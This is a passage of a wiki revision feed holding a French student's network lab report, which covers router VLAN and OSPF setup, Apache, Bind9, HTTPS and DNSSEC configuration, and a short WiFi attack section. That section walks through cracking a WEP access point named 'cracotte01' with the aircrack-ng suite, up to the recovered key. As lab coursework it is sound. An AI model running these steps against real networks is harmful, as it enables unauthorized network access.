 $ cp GandiStandardSSLCA2.pem /etc/ssl/certs/&lt;br /&gt;
 $ c_rehash /etc/ssl/certs &lt;br /&gt;
 &lt;br /&gt;
Puis modifier la configuration d&amp;#039;apache2:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/apache2/sites-enabled/000-default.conf&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
         ServerName www.unic0rn.pw&lt;br /&gt;
         ServerAlias unic0rn.pw&lt;br /&gt;
         DocumentRoot /var/www/html&lt;br /&gt;
         CustomLog /var/log/apache2/secure_access.log combined  &lt;br /&gt;
 &lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt&lt;br /&gt;
         SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
         SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on peut ensuite accéder à https://unic0rn.pw !&lt;br /&gt;
&lt;br /&gt;
=== Serveur email ===&lt;br /&gt;
&lt;br /&gt;
Le nom de domaine a un email de configuré (admin@unic0rn.pw), nous devons donc s&amp;#039;arranger pour recevoir les emails. On installe donc un serveur d&amp;#039;email:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postfix&lt;br /&gt;
 # echo &amp;quot;admin: root&amp;quot; &amp;gt;&amp;gt; /etc/aliases&lt;br /&gt;
&lt;br /&gt;
On envoie un email et on vérifie les emails:&lt;br /&gt;
&lt;br /&gt;
 # mail&lt;br /&gt;
&lt;br /&gt;
=== DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
On génére le couple de clés KSK et ZSK:&lt;br /&gt;
 &lt;br /&gt;
 $ cd /etc/bind&lt;br /&gt;
 $ mkdir unic0rn.pw.dnssec ; cd unic0rn.pw.dnssec&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE unic0rn.pw&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE unic0rn.pw&lt;br /&gt;
&lt;br /&gt;
/dev/urandom n&amp;#039;est pas sécurisé comme générateur de chiffres aléatoires, il est préférable d&amp;#039;utiliser un générateur hardware.&lt;br /&gt;
&lt;br /&gt;
On ajoute les clés générées dans le fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/bind/unic0rn.pw&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/unic0rn.pw.dnssec/unic0rn.pw-ksk.key&lt;br /&gt;
 $include /etc/bind/unic0rn.pw.dnssec/unic0rn.pw-zsk.key&lt;br /&gt;
&lt;br /&gt;
On chiffre signe ensuite le fichier de zone (cela va générer unic0rn.pw.signed):&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o unic0rn.pw -k unic0rn.pw-ksk ../unic0rn.pw unic0rn.pw-zsk&lt;br /&gt;
&lt;br /&gt;
Et on indique au serveur que l&amp;#039;on va utiliser dnssec:&lt;br /&gt;
&lt;br /&gt;
 $ vim named.conf.options&lt;br /&gt;
 &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
 $ vim named.conf.local&lt;br /&gt;
 &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 $ service bind9 restart&lt;br /&gt;
&lt;br /&gt;
La fonctionnalité DNSSEC n&amp;#039;étant pas supporté sur les domaines .PW, notre implémentation s’arrêtera ici.&lt;br /&gt;
&lt;br /&gt;
== Attaque du WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par activer le mode promicious de la carte wifi:&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On liste les points d&amp;#039;accès pour trouver une cible:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
J&amp;#039;ai décidé ici d&amp;#039;attaquer &amp;quot;cracotte01&amp;quot; (canal 10) qui est un point d&amp;#039;accès configuré en WEP. On commence donc par récupérer les paquets transitants par ce point d&amp;#039;accès:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -w out -c 10 -essid cracotte01 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Heureusement pour nous, quelqu&amp;#039;un est déjà connecté dessus et génére beaucoup de paquets. On arrive rapidement à 200.000 paquets et on peut donc lancer le crack de la clé WEP:&lt;br /&gt;
&lt;br /&gt;
 # aircrack-ng out-01.pcap&lt;br /&gt;
 &lt;br /&gt;
  KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4 ]&lt;br /&gt;
&lt;br /&gt;
[[File:Magic.gif]]&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35420</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35420"/>
		<updated>2016-11-25T11:36:46Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Attaque du WiFi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 $ cp unic0rn.pw.crt /etc/ssl/certs/&lt;br /&gt;
 $ cp monserveur.key /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
 $ cp GandiStandardSSLCA2.pem /etc/ssl/certs/&lt;br /&gt;
 $ c_rehash /etc/ssl/certs &lt;br /&gt;
 &lt;br /&gt;
Puis modifier la configuration d&amp;#039;apache2:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/apache2/sites-enabled/000-default.conf&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
         ServerName www.unic0rn.pw&lt;br /&gt;
         ServerAlias unic0rn.pw&lt;br /&gt;
         DocumentRoot /var/www/html&lt;br /&gt;
         CustomLog /var/log/apache2/secure_access.log combined  &lt;br /&gt;
 &lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt&lt;br /&gt;
         SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
         SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on peut ensuite accéder à https://unic0rn.pw !&lt;br /&gt;
&lt;br /&gt;
=== Serveur email ===&lt;br /&gt;
&lt;br /&gt;
Le nom de domaine a un email de configuré (admin@unic0rn.pw), nous devons donc s&amp;#039;arranger pour recevoir les emails. On installe donc un serveur d&amp;#039;email:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postfix&lt;br /&gt;
 # echo &amp;quot;admin: root&amp;quot; &amp;gt;&amp;gt; /etc/aliases&lt;br /&gt;
&lt;br /&gt;
On envoie un email et on vérifie les emails:&lt;br /&gt;
&lt;br /&gt;
 # mail&lt;br /&gt;
&lt;br /&gt;
=== DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
== Attaque du WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par activer le mode promicious de la carte wifi:&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On liste les points d&amp;#039;accès pour trouver une cible:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
J&amp;#039;ai décidé ici d&amp;#039;attaquer &amp;quot;cracotte01&amp;quot; (canal 10) qui est un point d&amp;#039;accès configuré en WEP. On commence donc par récupérer les paquets transitants par ce point d&amp;#039;accès:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -w out -c 10 -essid cracotte01 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Heureusement pour nous, quelqu&amp;#039;un est déjà connecté dessus et génére beaucoup de paquets. On arrive rapidement à 200.000 paquets et on peut donc lancer le crack de la clé WEP:&lt;br /&gt;
&lt;br /&gt;
 # aircrack-ng out-01.pcap&lt;br /&gt;
 &lt;br /&gt;
  KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4 ]&lt;br /&gt;
&lt;br /&gt;
[[File:Magic.gif]]&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35419</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35419"/>
		<updated>2016-11-25T11:36:27Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* HTTPS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
